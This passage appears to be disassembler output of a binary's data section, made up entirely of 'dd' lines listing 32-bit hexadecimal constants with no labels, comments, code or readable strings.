		dd 16875E77h, 3C9FE85Ch, 0EBBF9251h, 5E7DB3EAh,	0E94AFCA2h
		dd 0CCD8000Fh, 6205B66Eh, 0B9B55E14h, 5B074073h, 0A192505h
		dd 0A4847632h, 12DA8D80h, 929002Ah, 68565DE8h, 0D7120488h
		dd 2EB5E67h, 9416E9A1h,	680068F1h, 28F6296Dh, 0F480B58h
		dd 3778618Eh, 20B63509h, 8303F778h, 0C51E4754h,	8B4502E8h
		dd 46BFB4E0h, 55A72E8Ah, 297334B0h, 7E924ABCh, 0DC0C20EAh
		dd 2A4E1BB1h, 805E79ECh, 0AA6FBDFFh, 0A0EDB698h, 0DEEA0824h
		dd 73EFED5Fh, 4837592Ah, 0A0521A82h, 79A2774Fh,	945DA184h
		dd 956C97ADh, 2E9B06F9h, 853BB7B6h, 0F6726851h,	5B4041Eh
		dd 63C8E688h, 0CA5E587Bh, 712158A1h, 54A46EEBh,	0D509BDE2h
		dd 7D2537FCh, 7DC99B47h, 50CB5079h, 0AC6810BAh,	3DE90C40h
		dd 5818129h, 770973EFh,	1D50BB0Dh, 0E3BD5808h, 0C7FED0h
		dd 3E61DEC7h, 68535663h, 252F867Dh, 6792E02Ch, 0E8930C64h
		dd 0C612DE89h, 4D1A6D01h, 3E5CE921h, 4628D26Bh,	2A2DEB41h
		dd 0E9693CEEh, 0E1C03C98h, 99B09FF6h, 3859BCA0h, 0E5555FA5h
		dd 0C729933Fh, 6D8606BFh, 7C2CB625h, 125E24F9h,	0DB2EBD4h
		dd 560629D4h, 0C01C408h, 0AB0276F6h, 96830F45h,	6ACED5A0h
		dd 7D53122Fh, 0D68E4410h, 790FBBFh, 0B5F1968h, 0A8C5E7DDh
		dd 386AB5D6h, 0BB48055Dh, 83F0C1FEh, 0A0E63FC2h, 0F80EC741h
		dd 9ACCBE4Eh, 1F5A31E9h, 284FC07Fh, 0B654C4ACh,	5E2D46B2h
		dd 0EF97FA56h, 0C4AA77C4h, 80F3EF65h, 620B532Dh, 0E96FA1F1h
		dd 48387A1Bh, 0E320AED3h, 2B9E5B84h, 4B6BE950h,	0D44AA220h
		dd 0B6620449h, 0B284347Dh, 5FBE052h, 0FBD701C4h, 8A045C29h
		dd 0E1979AA3h, 82EC6E7Ah, 0E9AF84BDh, 4AAD2D3Fh, 8774D607h
		dd 6D95B332h, 0DB0EDA5Eh, 0BB7401h, 135D2CA3h, 5D08E6C1h
		dd 0C6031A4Eh, 0A42FF149h, 0C2842860h, 5AA33BFBh, 2C494508h
		dd 2DE3EFC9h, 0D5B95100h, 56E195Ch, 0D039B3Ah, 6AC82921h
		dd 7E100815h, 18F83487h, 0E9E21912h, 7A6F22C1h,	0AC6E03h
		dd 0CC7D4707h, 2DF0820Ah, 0C2680781h, 40692478h, 0C092664Fh
		dd 2590548Ch, 0A0BE4EDDh, 0B561E232h, 1ABC9F5Eh, 5710A8E4h
		dd 7E98146Bh, 0BA4FB4CFh, 62F7410Eh, 5E226968h,	0D2F3674Fh
		dd 0FA40D1B3h, 42EE52BFh, 0BC90A8B8h, 21290881h, 1905F44Ah
		dd 0CBD5083Dh, 702E5F1h, 6456775Dh, 0C416FE50h,	0E8BAEDD5h
		dd 18582D4h, 4E5F0975h,	0CC2286FFh, 0AB4FA2D4h,	0C4E30F5Ah
		dd 5B94D825h, 0C5585A27h, 0A8CC968Eh, 4FF84F7Ch, 820990E2h
		dd 5EB17EADh, 6206EBC4h, 26EC229Dh, 9B1222B4h, 0EB94708h
		dd 77E4CB01h, 0FC949418h, 745E16AAh, 613E662Dh,	0B24D1Bh
		dd 2E08EFC1h, 2C4D5057h, 0FF971305h, 78CACC09h,	0B9B23BC6h
		dd 5720B5F6h, 5A4D7FEBh, 0C30C1160h, 0BC729512h, 0E4622879h
		dd 61FE2D1Fh, 3D416C7Eh, 0CAEAC289h, 76C57DDh, 759E9F8h
		dd 62AC4ABEh, 5F46A993h, 6A210FA5h, 0E7C002E6h,	0CC508C87h
		dd 52005934h, 1557AFBAh, 0C2540138h, 74295A42h,	2075F1DDh
		dd 0AAB58311h, 2314FD22h, 0CA34595h, 5D64F471h,	4EEF0126h
		dd 153BA103h, 5D34DA46h, 996AC9FCh, 37AA8713h, 338F83FDh
		dd 0ABDDEF85h, 0C4ABB720h, 13F60463h, 0A01EE0B2h, 3B457DDAh
		dd 82527097h, 0E1996927h, 0D26ED4F0h, 8649EA39h, 0B091F0FBh
		dd 945B2DA8h, 0E9E1A5FCh, 168B9938h, 4CD75058h,	0C440F4E3h
		dd 1269673Ah, 8C998CFAh, 0D527B294h, 938574B8h,	858576B5h
		dd 0AB381068h, 0E90B658Ah, 0CEFF79C9h, 59B904DFh, 0AF315207h
		dd 89099FCBh, 0A916305Ah, 2A9F614Ch, 0DB7787B6h, 4F847F4Bh
		dd 7EF9B156h, 3694AA92h, 88EBC385h, 8995A44Fh, 233DE83h
		dd 4138EB11h, 89495C55h, 0A6F502E9h, 9009B8A1h,	0A046EF45h
		dd 26990514h, 0A94408E9h, 5825D575h, 4E31E167h,	39F10101h
		dd 35EF1341h, 0F5F7EC8Ch, 50A3933Ch, 817547D9h,	5D5BB80Dh
		dd 82687ABCh, 0FD0932Fh, 59EAF9BFh, 2DC43A2Dh, 2CC365ACh
		dd 0A2275153h, 11B2FDD3h, 3B59D177h, 33150104h,	779DC074h
		dd 0DCB0E456h, 75CECB00h, 0F0E92854h, 0AE01829Eh, 0F94DA6C7h
		dd 180C8235h, 605632AEh, 2A4EA11Dh, 0E0B75EB1h,	0E5ABC053h
		dd 68334BC9h, 0F9697B90h, 0A9C57778h, 9E18C15h,	2259CB09h
		dd 44A9305h, 0ECB1AF68h, 5B35C648h, 0B6BD91AEh,	6E356E84h
		dd 1CCCA006h, 32D177EFh, 532E8A9Ah, 0FB9736ECh,	0D5E91C62h
		dd 0F7038B81h, 394DFA12h, 0DB5F47EFh, 0EF40B905h, 62EC3A90h
		dd 3558002Eh, 1A5416E8h, 2B09ED81h, 520A7364h, 580881E0h
		dd 40818F6Fh, 250250B4h, 0CEE973E3h, 7714D772h,	2324F17Ah
		dd 0B8167E02h, 0B97F00B1h, 0C568A0C2h, 5AD8B40Ah, 58F67C55h
		dd 6295FCE9h, 551111EAh, 883906F0h, 599D825Bh, 4A8B4F54h
		dd 0D5F4A6D7h, 0DC838004h, 2A6B121Ch, 2000BE45h, 2913B1E2h
		dd 59E916EFh, 0E883A83Ch
		dd 0F6484A4Ch, 71EB18C3h, 97AA6C7Bh, 8BED64E8h,	0DD57D0h
		dd 56CA6EC1h, 0B6269568h, 0C23A6743h, 42FD5165h, 8BEB7D3Ch
		dd 0C263EA2Dh, 0C86A56BBh, 88541687h, 0AFE394D9h, 0FA01CC69h
		dd 9C3D4BA5h, 0C9406D41h, 0C07007BDh, 0B931D157h, 974484h
		dd 590EE5BAh, 0CA81022Eh, 49D206EDh, 0F117ED40h, 0F9902425h
		dd 0C569AD54h, 5705E294h, 4EA3A201h, 9C400EF1h,	5A3028E6h
		dd 2C3DF12Fh, 71AF4E50h, 3268EF0Dh, 24E30B21h, 0EAEF8759h
		dd 44C62D11h, 5D2F2F0h,	1FD10F4h, 0B84E82D5h, 8462BA54h
		dd 0AE5D2916h, 75CA846h, 945AC68h, 51A2EEDFh, 352B1629h
		dd 5104AFBEh, 0EE49AD3Ah, 331EAA5Dh, 9E2D7425h,	0C4E6535Ah
		dd 0A6E3FFC6h, 0B9533112h, 71EED381h, 3F0D1FD6h, 150B4352h
		dd 6744A89h, 9F0E4886h,	80A794C5h, 0F45A432Eh, 8109B70Fh
		dd 24D278DFh, 0C02C402Fh, 7D9A06A0h, 3501879Eh,	1F6681ACh
		dd 643AC682h, 0CAF534F2h, 0DF080937h, 2162D979h, 434C55F1h
		dd 3DE1BBB0h, 8C59132Ah, 48CB8846h, 614927E3h, 742FF466h
		dd 0D20DAB7Ah, 725748C2h, 90DC292Ah, 0BF1120B7h, 6EF9595Eh
		dd 88B60404h, 8C0EC0C0h, 6458DF29h, 745A044Dh, 0ACAF1177h
		dd 0C3C29F2Ah, 0FFA5D3E9h, 872DB65Ah, 76344ACBh, 33CA3414h
		dd 0D7165803h, 32AA6D68h, 0F65F5635h, 60E9D096h, 0B9B4A9BDh
		dd 57E279C0h, 451BD418h, 523A3212h, 2C03D2ECh, 12BA1CF7h
		dd 0AEE5DA83h, 50422206h, 5FCF0120h, 0EAE97BF3h, 0FD902FA8h
		dd 0B0914DDCh, 86E12062h, 0F0505897h, 0CB435EF3h, 74EE9793h
		dd 0E37E82B2h, 5878D670h, 0A71365B5h, 5B5BF96Eh, 0B6D211F6h
		dd 57E51CB6h, 5C75727h,	121F620Eh, 4BD6F6BBh, 94EE6E01h
		dd 46E86059h, 628D2DE9h, 0F122B34Ch, 0C12A270Dh, 668868D9h
		dd 0CEFE03FDh, 0B2F4C680h, 92B081A2h, 0AAECE12Ch, 833630E9h
		dd 5D82932h, 131F5E72h,	0F4565B4Fh, 0F55ABCC2h,	537C8A72h
		dd 0D8AB9624h, 7F2DD889h, 92682140h, 92341B4Dh,	2933C2FBh
		dd 4B82077Eh, 0E039CE66h, 252D477Ch, 0AF093014h, 0DC9A907Fh
		dd 85640944h, 3382D529h, 91DC8E04h, 5E0E6BEFh, 4CCF81C6h
		dd 0D82F1263h, 4D7EBBEFh, 0A2E06A4Ah, 1DDAE826h, 0B186E97Dh
		dd 7A0A453Bh, 0A4DF604Fh, 0DEEDCE5Eh, 5256F600h, 0F028D5B6h
		dd 0E9065A61h, 0F1948B17h, 68B0FAEAh, 0E5A6591Eh, 96C2F9BFh
		dd 0CE2CBF5Eh, 52456016h, 0D5F684B5h, 3FCD801Fh, 0DC4EDE0Bh
		dd 0BE56604Fh, 8A2712C6h, 1F99F51Dh, 36AE00D6h,	0B1574BB8h
		dd 0A9F03A4Ch, 0F92412EDh, 4BE7096Ch, 7063C554h, 0E814923Dh
		dd 9F381E6h, 9FFC7D7Ah,	75A1C2DDh, 0E9780D74h, 0EB475B3Fh
		dd 75EFFB62h, 9381DC70h, 17840660h, 9501CD7h, 0B9526303h
		dd 7530E377h, 0EAC33B42h, 1F0630FFh, 0E253050Ch, 7FF04B60h
		dd 9021412Fh, 810A447Dh, 1251CE00h, 8B0F7B9Eh, 198260DEh
		dd 12552C6h, 72E91012h,	0EB4756BAh, 135BAA8Fh, 82FFAD1Dh
		dd 0E3E4B46Bh, 5E6EB319h, 0A1740059h, 16F4549h,	0BF5711C5h
		dd 0A4C90A12h, 0D13F1221h, 7BD6E9E2h, 48EADB54h, 0D00C9FB2h
		dd 7BD9F55h, 261E77E0h,	1BA5CF89h, 1A48D5Dh, 32347B9Bh
		dd 0CB09936Ah, 954F5893h, 0DC57317Fh, 0B1090105h, 2A08BBBEh
		dd 60E82CB0h, 22F51BA9h, 33908E41h, 0A303F832h,	0D6A0C15Ah
		dd 0AC89F86Eh, 12A9BFE9h, 0D69D3CD8h, 31362CE3h, 0E513C210h
		dd 2EF62553h, 22EF5527h, 485B3E68h, 0A9A2A625h,	0FE78E6C7h
		dd 0BBE7AAA5h, 804AE913h, 0A6DBDFAh, 551DF814h,	672B17D8h
		dd 97F88CAAh, 55E86E4Eh, 0E9BCCCF5h, 3C926C30h,	3D5A62B8h
		dd 0AC273EF8h, 7F02C089h, 89024DB7h, 3B2061E0h,	40C28001h
		dd 0D0288BBBh, 0E1B62C74h, 0E8ACC68Bh, 250548A3h, 42DD7D8Ch
		dd 0A5080FC8h, 0FEFD590Fh, 2C752910h, 818B1830h, 63C5DF89h
		dd 0C6022C16h, 46256968h, 0FEEF0E8h, 5964A113h,	0B4D7AC37h
		dd 817424C3h, 0C9402A5Eh, 3E1B48C6h, 0B25F3108h, 0ECF71622h
		dd 5A7849F2h, 4B6C1F0Bh, 0BDD93DEEh, 568C25B9h,	5DE253E9h
		dd 0BA0125DEh, 28896C63h, 4C69077Eh, 0D80299CEh, 612F44E7h
		dd 39FF7BDFh, 0A9DD8DF0h, 89DC4287h, 7A7060C5h,	7CB5F98Ah
		dd 0F8B566A4h, 5BD03AD3h, 10C5019Bh, 0C2580F9Ch, 0D55DEB89h
		dd 5F2DCAF9h, 5B20BC14h, 0DCD09542h, 5C3176BDh,	57690D96h
		dd 0E2B7F78h, 4309C504h, 5A32163Ah, 2C49859h, 39846514h
		dd 877324FEh, 0F4BBECADh, 552197D1h, 0CA4C550Ah, 540E9060h
		dd 0DA13302Dh, 0C3F39D23h, 0FB0BC968h, 5019B369h, 0D25C99EBh
		dd 30901ABh, 0ED018449h, 0BB67BABh, 17C0F64Ah, 29F875F8h
		dd 171B0B84h, 31C866D0h, 0CAFE56Dh, 0E93F107Ah,	252667DBh
		dd 7E3751E0h, 758E180Fh, 0A30D4A86h, 21351B00h,	3744492Dh
		dd 0D4E916C4h, 4E42AD72h, 7F6600ABh, 0D1F7432Dh, 6B5E26B0h
		dd 0A0B638ABh, 0EBD97E60h, 4B526431h, 2AE38710h, 301C3008h
		dd 1C5EA76Fh, 0B4576AE0h, 0E57552A4h, 0F15C1621h, 2CAE2E4Bh
		dd 3D00646Fh, 0E581607Dh, 17E832B3h, 0A8D5F709h, 15420174h
		dd 0E1CE933h, 9AEA1A0h,	8112199h, 390B9859h, 0DC965FE6h
		dd 0BB95102h, 0C018784Dh, 41CAE3Fh, 0CEE90E33h,	4ACF953h
		dd 4BCCCF90h, 0B41EB0FAh, 5E90B64Bh, 48E12802h,	0B8743858h
		dd 2054727Bh, 5302AA7Ah, 6D7FEB68h, 2F447723h, 0B511CBFh
		dd 0D42BB4F3h, 0E085F704h, 96C1482Ah, 46DF440Fh, 2D55006Eh
		dd 430E28D6h, 0F6089CB4h, 0C4552515h, 409520B7h, 17BEBB4Bh
		dd 1044BA6Ch, 2AB8C67Ch, 0AC1E53DEh, 360BDEAAh,	596877E7h
		dd 4D2C685Ch, 52C3F066h, 7557D851h, 4A6F5ACBh, 0A7F85C4Fh
		dd 5E20C6D5h, 0BB6FC47Ah, 0C0CD5CC0h, 2C7F2678h, 471D0130h
		dd 40455ED3h, 2E2A82E7h, 2F27D60h, 395A2F07h, 4E82E781h
		dd 0FAE906B8h, 1671E3A9h, 0F2807A3Ah, 8F1D28C7h, 6C0220CFh
		dd 90760490h, 0C97C0383h, 29940583h, 0BCD0C0E2h, 0C342D05h
		dd 10BA43B0h, 0BF4E07BAh, 0F3C0E037h, 1644D92Eh, 0F92876E9h
		dd 3FDF84E1h, 0EA4BA914h, 0D8F8791Ah, 0C1F1A043h, 99DB8388h
		dd 577ADC4h, 10F64236h,	0FE08F3E0h, 28C86021h, 6452D59h
		dd 0FE9AF2B8h, 0CAAE0FD2h, 0EA42764Bh, 75F1E909h, 2F664D19h
		dd 956B8CE4h, 5628407Eh, 0F6955BF8h, 0EB018919h, 8FEA4AB3h
		dd 0F64837F0h, 0F4A72F30h, 2CA18208h, 0BF006901h, 4B92A676h
		dd 0E96A4B2Dh, 232A2D0Dh, 0CBCB9FF4h, 0CE2BAEh,	0E01094E9h
		dd 1C4B4C2Ah, 0CF5D710Ch, 0FA548C7Ch, 38036AF2h, 0E7D12532h
		dd 40293C1h, 5AB43958h,	0E94FF0E0h, 56183530h, 0BE22880Fh
		dd 7B0D004Ah, 2D64B11Eh, 0CF2F7419h, 7728A89Eh,	5A31BF00h
		dd 0EF813E3Bh, 0AD2782E8h, 609A423Ch, 5FD2E975h, 3D13F3DEh
		dd 0B538CF21h, 0E6099F51h, 5040EA51h, 825F6D68h, 21580940h
		dd 2EB83BE1h, 7D6EBDB0h, 0DD60E22Dh, 6285EBA9h,	34CDFBF5h
		dd 1239E27Bh, 232046C9h, 4C207693h, 502EEA7Ch, 60F3CEEBh
		dd 807CB6E2h, 28E7C50Eh, 0B8EDAEF5h, 9A15E9B1h,	3D679B57h
		dd 0AB274792h, 0E90BB72Bh, 0CBEA6CEDh, 9868455Dh, 562E453h
		dd 277BA22Eh, 462F94A4h, 41DEB526h, 0A8DA96BEh,	2E1A368Ch
		dd 12AD5402h, 287BC2C7h, 0F3DF0009h, 95163773h,	0EF411EF2h
		dd 80E90B01h, 2BF5B17Ah, 25EB2056h, 29D5BA1Fh, 7F984D0Bh
		dd 20905B6Eh, 0CC89B325h, 0FBB071h, 732A125Bh, 94E9FE01h
		dd 31971BBFh, 5FDBEBA0h
		dd 0F582DC52h, 475047BEh, 4140BC4Ah, 3F401268h,	73B1E4A2h
		dd 986563C3h, 9E23546Ah, 5F066011h, 0EFF0CDD4h,	0C10E5D90h
		dd 52C87003h, 8EE50FAh,	1D85F75h, 0EF8D0F17h, 0C7ED8084h
		dd 0F8491D10h, 0E888024Fh, 6C29F58Ah, 25B279D5h, 54A9C7FEh
		dd 0BADCFE25h, 0A4D21112h, 7CBD6AFDh, 0C9EFC052h, 4D1A9826h
		dd 0B6CC701h, 62305908h, 0B0087595h, 0D4C4AE12h, 0D485B6AEh
		dd 8E7852Ch, 0A06DF31Fh, 7825C2BAh, 445948B3h, 88C0023Fh
		dd 5AD7C8F9h, 11166812h, 3C829E37h, 30794C5Fh, 60D165E2h
		dd 0A1FEE1Eh, 7109C301h, 7A867210h, 6FF19DE3h, 0E3EF6844h
		dd 2EB1D21Dh, 0BAD8B7Bh, 510A7068h, 1308B8AEh, 0E985294Eh
		dd 0F5BF7DE1h, 2694DCB4h, 7CB0507Eh, 3648BA09h,	160ED84Fh
		dd 0E1B4682Fh, 0CEE56AA2h, 5B849BCCh, 8B070044h, 0E948A551h
		dd 0FC84BA4Bh, 7FA529AAh, 4EF89384h, 6056809h, 0E24A6666h
		dd 553FBBFDh, 0F419FE84h, 0F66DC859h, 9F66C4Bh,	0FE5F5417h
		dd 0B13A5279h, 0C7AD7A87h, 83F65C2Eh, 28EB0D09h, 76ED0F5Bh
		dd 947BE909h, 684357FEh, 0CBBB948Dh, 0FDE15FD0h, 0F2AC2ABDh
		dd 82D6168Ch, 7C85ECCh,	1B9680FEh, 0F320D983h, 0DE4CDA13h
		dd 0C9123F3Eh, 8ACC0876h, 42E26805h, 0FAF403FCh, 589530A6h
		dd 36F15527h, 0F4928990h, 61408152h, 9AD0A359h,	8954F96Ah
		dd 76E6AD1Dh, 6AFFA182h, 0FDAD0BDFh, 0F101EBA3h, 938408E9h
		dd 87BBEE3Fh, 70A6B211h, 1670F35Fh, 72FBA85Bh, 585AF51Dh
		dd 1876C84h, 9DDC3F88h,	13D9CFC2h, 69217652h, 0E8952DF2h
		dd 140F4699h, 265E9880h, 4257EA0Bh, 891ED985h, 615AD8A0h
		dd 0D217B730h, 4AD33F4Fh, 1693B834h, 0E567868h,	0B85C08h
		dd 0C9BC3540h, 0DCA18945h, 0ABE5EF9Ch, 0C935ECBh, 0C91F3FF1h
		dd 0B9520C09h, 0A0986126h, 0B766C924h, 0A1F81546h, 0C63381EDh
		dd 0C8FAF6D0h, 5D9EC2Eh, 698EE9D9h, 4F8F24AFh, 0E08550ECh
		dd 0CE15ED97h, 0AD16B0D3h, 7DDAFD3Ah, 1A93D183h, 0F6184A36h
		dd 387ABD37h, 0F4F4F7E6h, 4E41524Ah, 13655D14h,	0A4D5BF8Ch
		dd 1E0EF2A7h, 3801482Fh, 0B5A50E1Ah, 0C209CD10h, 805669B0h
		dd 0A3277B24h, 49C3F235h, 7C0791EBh, 0F37FEE7Dh, 63000C7Ah
		dd 784777F3h, 0B0DF893Eh, 0DA2B5D10h, 799A8408h, 0B6C18007h
		dd 0FD538192h, 9AADBFAAh, 0AD99E94Ah, 0C8CA3E5Dh, 4386CF4Eh
		dd 2FD1970Ch, 22076FB0h, 4FD72877h, 0AC7B2F1Bh,	0FB2B9EE2h
		dd 75B20B25h, 0C0B55EC4h, 80C14560h, 5B4ADA01h,	0CC9FD9B9h
		dd 211ED91Ch, 50FEF377h, 5B2FF792h, 0C94DF401h,	0ADBE6D77h
		dd 5531A35Fh, 428CB956h, 0D3046332h, 0C0404376h, 1A744535h
		dd 30F5258h, 3C2342CFh,	0E1E7B067h, 5A95306Dh, 55617E56h
		dd 0EFB5D34Ah, 8C3E99DDh, 0C35D8697h, 5598BA1h,	31EF36FAh
		dd 97562517h, 0A120C6A7h, 5DA9685Fh, 6480F727h,	0F7315A7Fh
		dd 10DCD858h, 0AB4F0F12h, 0AFA54437h, 1D14B4AFh, 955D3940h
		dd 0D88C2914h, 7CA76827h, 6DE961A0h, 7BA1368Fh,	2149625Bh
		dd 0A44E2987h, 6FB17577h, 0E076A96Ah, 0AB45EB68h, 60C5C769h
		dd 1FA3CCD8h, 645EFE70h, 5B950497h, 3DD8AF58h, 0FBA45F66h
		dd 0F53BDC6Dh, 0E09B3A7Bh, 46D8201Ah, 5208E1F5h, 0EE0F163Ah
		dd 844F76CAh, 0E879F3Fh, 127EACE9h, 8F06F2AAh, 6222E9D0h
		dd 0E2BE5786h, 0C4A37EBFh, 0E1B7004Fh, 0E19CB353h, 0FD28DB40h
		dd 9CED7880h, 0B5590957h, 0EAC39B24h, 5C2A8880h, 276E7E48h
		dd 5479ECF5h, 0E1DDF742h, 0DD6FB345h, 2CC4ED49h, 34C95479h
		dd 0BA1F3896h, 0D16D74C3h, 7BD23831h, 2D129C4Eh, 0E807CB0Eh
		dd 6D36A235h, 0D0A7C031h, 0AD07A305h, 685A1101h, 4E7A57B0h
		dd 0EA132438h, 1349ECA3h, 0DE22382Fh, 0F6574605h, 0DE9D823h
		dd 2C14E859h, 37124302h, 44E4A7AEh, 515FCF17h, 0D08321FBh
		dd 3CBF04FDh, 7F24E9D7h, 7CA7819Fh, 1324D3h, 2E35306h
		dd 8C90F829h, 7D2F089Eh, 57221D96h, 51E23237h, 59045CB0h
		dd 62A95390h, 290E2458h, 0A2C955Dh, 0ED13681Fh,	7920F766h
		dd 710507EDh, 0A4FDBEDEh, 42C8FFECh, 4222410Ch,	48FF3013h
		dd 0C832C184h, 5C071706h, 0E9B7F128h, 32C03D58h, 0EA6994F0h
		dd 5732F75Eh, 0A7A3C7F7h, 9D4D044Ch, 0A3BF04D5h, 28F0F93Ch
		dd 768EA18Eh, 6A990C82h, 9B6A6B4Ch, 1D5FE589h, 44FCA58Bh
		dd 7FB95189h, 0C40150A5h, 6BFB1573h, 0F92A295Ah, 751DA742h
		dd 5F4CE713h, 85B21631h, 51E06BF8h, 0C0B543B5h,	5BE9DE2Eh
		dd 0EEF0F4B9h, 0A5261F0Ah, 7E00814Bh, 8972CF5Fh, 5BE973F5h
		dd 882AAFB2h, 31EA2C4Ah, 0E0BB8040h, 210AC408h,	30B8BED8h
		dd 0C20734F1h, 505EA318h, 4197E4F6h, 0FD21208Ch, 5BDE8800h
		dd 0F6F4B050h, 0E8C000D0h, 28963408h, 2926E9C6h, 0CCA0264Ch
		dd 96BFC3EEh, 237A0AE0h, 2DC618DDh, 0E9123F5Ah,	8AA636E3h
		dd 0DE061810h, 67499E09h, 45B9600h, 17EB7EC6h, 551A25A2h
		dd 0F15F1263h, 0B3509ABh, 2CB2C35Bh, 0E98BD7ECh, 0E814BBD7h
		dd 51D82DCFh, 80CCE30Fh, 427D6740h, 0A50DE105h,	0D872BB1Eh
		dd 200548ADh, 4DBF04ADh, 0AB19AA47h, 7E8920ECh,	0C4BB1CA3h
		dd 3B587DA9h, 814B60AEh, 9E123CF7h, 0EEACE985h,	0BD09E73h
		dd 0FF793721h, 57AC01C4h, 6040C116h, 738D589h, 38764348h
		dd 112F00ADh, 459BE181h, 6607653h, 3C5EC7E9h, 0C108184Ah
		dd 631C1Bh, 0C69CFA8Dh,	6EEECD01h, 0C5E4575Fh, 5A4B1E20h
		dd 8419CB3Ch, 6C824454h, 8B711315h, 504156FDh, 4C495DBBh
		dd 2A180EBBh, 0E909F0AEh, 4DB00D13h, 0C69734E3h, 0F1F7050Eh
		dd 5E25A268h, 29940A6Dh, 66C989E8h, 680D55Eh, 4913E634h
		dd 48F10481h, 80023108h, 2C7AF99Ch, 0C80C3C63h,	63DA1Bh
		dd 500584C5h, 8C8C8964h, 0D2D4D2A1h, 743A9D8Fh,	0C1507CF4h
		dd 1346ECE6h, 0E7D9FFE9h, 0EFD11F00h, 0F6CCA77Ch, 0DE65C2BCh
		dd 0B6CFDA5Dh, 51F4AD58h, 0A9A89945h, 0E68EA5Ah, 740B4A2Fh
		dd 73EDBA4Eh, 0ABD2C496h, 0EB8F1E2Ch, 0E287746Bh, 15A16A1h
		dd 0E9BB61BAh, 0CD3C4Fh, 2E47A705h, 4BA5201h, 38A51C5Fh
		dd 27DCE21h, 0E948E8D1h, 2D9FF045h, 20F7464Eh, 1ED1229Ch
		dd 0F72930CBh, 77B7EF9Eh, 727B8827h, 7D088249h,	220B414Ch
		dd 7F569D0Eh, 0B5C7BE21h, 0E967E416h, 0F2DBEB55h, 95D54677h
		dd 0D6579475h, 958BAFD9h, 0B3806727h, 0EF8034B7h, 0CAA0444Fh
		dd 16934E8Eh, 6DDCAF18h, 0D9F1A18Ah, 0B162F23Eh, 903A08E9h
		dd 4C43E5BFh, 0C13DE31Dh, 6D1260BEh, 9048A31Eh,	6F2D0969h
		dd 6022774h, 0C0F547D4h, 3A07E910h, 0A616D9F7h,	36DAD065h
		dd 5317082Eh, 6204E1C1h, 8E44A5Eh, 0EA0944B4h, 0C22CCD73h
		dd 0B2054A56h, 0CBC1281Fh, 0BC388684h, 5E4A68C2h, 0F4144CD7h
		dd 0F6355B7Ch, 676E09DAh, 38198105h, 0AAE39D68h, 21A668BDh
		dd 5B6AF8D5h, 6EFCA595h, 0D9BB4E12h, 0F7386056h, 3882E7B6h
		dd 7F3CF161h, 0D5CA1B00h, 31F76D4Dh, 292C6456h,	895F58C5h
		dd 0C6B6D44Ah, 0D2E48080h, 0EC02ECC0h, 0C0964F4h, 6BD2EB03h
		dd 0C2DFCB87h, 0A73804C6h, 2CE048CAh, 55AF8C83h, 0F1B4F1A5h
		dd 0C8E32B87h, 5A1042D2h, 8684E2C1h, 0BAECBAC2h, 291A3683h
		dd 0C9B6ADE7h, 0D7442F6Bh, 0AE13E857h, 43056613h, 0D440A088h
		dd 65E966C5h, 0B3C4978Dh, 85AC619Fh, 0F709DFDAh, 0E967E456h
		dd 310DE0D9h, 905F49F9h, 6A2CBB4Fh, 0F9514BA4h,	5758F1CEh
		dd 793142C6h, 886C4C42h
		dd 9F854EB5h, 5DF2E17Eh, 0C24A4B4Ch, 5B9C2DC4h,	255AB470h
		dd 0A957365Dh, 0E90853ECh, 0DA46BB25h, 0EFDFF9CDh, 812FC3F0h
		dd 7C20EE3h, 0F3C00AB6h, 0EA63F420h, 9724D9BFh,	0FEB65222h
		dd 0BCD98F3Ch, 25702353h, 0BC970785h, 515F25B0h, 0E95340BDh
		dd 58813D3Bh, 1CD3D740h, 0F226C02Ah, 5577237Eh,	79B0E91Ch
		dd 0F4E7D525h, 29185727h, 3BE11E88h, 0AD412A8h,	50F17910h
		dd 0B895A12Bh, 9DEA8987h, 508880DDh, 9C819EE9h,	78DC4BFFh
		dd 681C1451h, 969F1770h, 0F3E91A18h, 697D0A41h,	37F9CF0h
		dd 0DE2CAC1Ah, 349606C1h, 5F09FD07h, 3D5F74Dh, 106E902Dh
		dd 1F9A4243h, 1B13B22Ch, 0F9BF69C4h, 85EEA4ADh,	0C0D0112h
		dd 754A7413h, 40D8CC00h, 0AA0866B8h, 76B9409h, 69990170h
		dd 0BF9A5277h, 86624C40h, 0F1A0265Eh, 4FD6FE42h, 1122D052h
		dd 4AF04175h, 9F8D0F13h, 22FEC5C5h, 0C0589A61h,	2461C0BFh
		dd 0E9490BD8h, 4C7C5B25h, 0A47E0559h, 1D5EE9D7h, 0DC416A0Ah
		dd 0D737A93Bh, 6C5B2A02h, 0C08BF797h, 0D9884A02h, 963B797Dh
		dd 3A60E1BAh, 0B4338BAh, 8220FA94h, 4C4B390Fh, 0E236AB37h
		dd 0C2CFC164h, 8F4AA03Eh, 32B86240h, 31E4B1F3h,	407DE18Bh
		dd 25E9DDE9h, 0F4569A34h, 0F9113FC2h, 3048364Ah, 0D927EB92h
		dd 931665Bh, 0DEE51FBh,	82E7C5FDh, 61F25AEAh, 747F56E1h
		dd 0C9EF89E2h, 0D41AE8CEh, 0ED5714D2h, 0DDA605AEh, 3B1B8D4Ah
		dd 12D6DAA0h, 670D1228h, 14F5D50Fh, 0BF27490Ch,	806AD4DEh
		dd 70B8CB1Fh, 0ED96AFFFh, 161326FDh, 0E188C960h, 0F816495h
		dd 9A41872Ch, 70272D80h, 2789CB28h, 27D58C6h, 5D71B179h
		dd 447F2192h, 2CC290B6h, 965F2F6Fh, 2C41354h, 0D076EA59h
		dd 8C7484DDh, 3B818CFFh, 0B96EE841h, 2779875Fh,	0A19AC508h
		dd 5FB86EDAh, 0ECC4C682h, 66D3FA60h, 80AA5A60h,	165923EBh
		dd 8D737268h, 12AB3EACh, 152ECBEAh, 2DF65E30h, 0A82759D8h
		dd 6B316BFh, 0DC5B051Fh, 0A744EA3Ch, 0FE1E36F8h, 0EBD25125h
		dd 50D0025Eh, 0B101FC3h, 0F329278Dh, 28089888h,	20209081h
		dd 0BB5BD697h, 497A3CBDh, 0BE00683Eh, 0F27119C7h, 8F98F701h
		dd 0F4BDC4B8h, 4FC152F3h, 0E7DFC219h, 0D334A64Fh, 0DFB2B012h
		dd 52DF10E2h, 0FC6F84E2h, 4B2D0019h, 0F30F861h,	43AD3180h
		dd 1322CFDh, 2030EBC1h,	51A22D8Bh, 0E93E2B6Eh, 9F3362F6h
		dd 9C18DD75h, 0BD8091E1h, 846913DAh, 1FA41255h,	0A6A65E5h
		dd 6BE289A0h, 2B9C59C3h, 0C14F3C5h, 0E8962DB1h,	2F876152h
		dd 32FC5A4Fh, 6805498Ch, 0F6CC3D86h, 0E6CB086Eh, 27F85309h
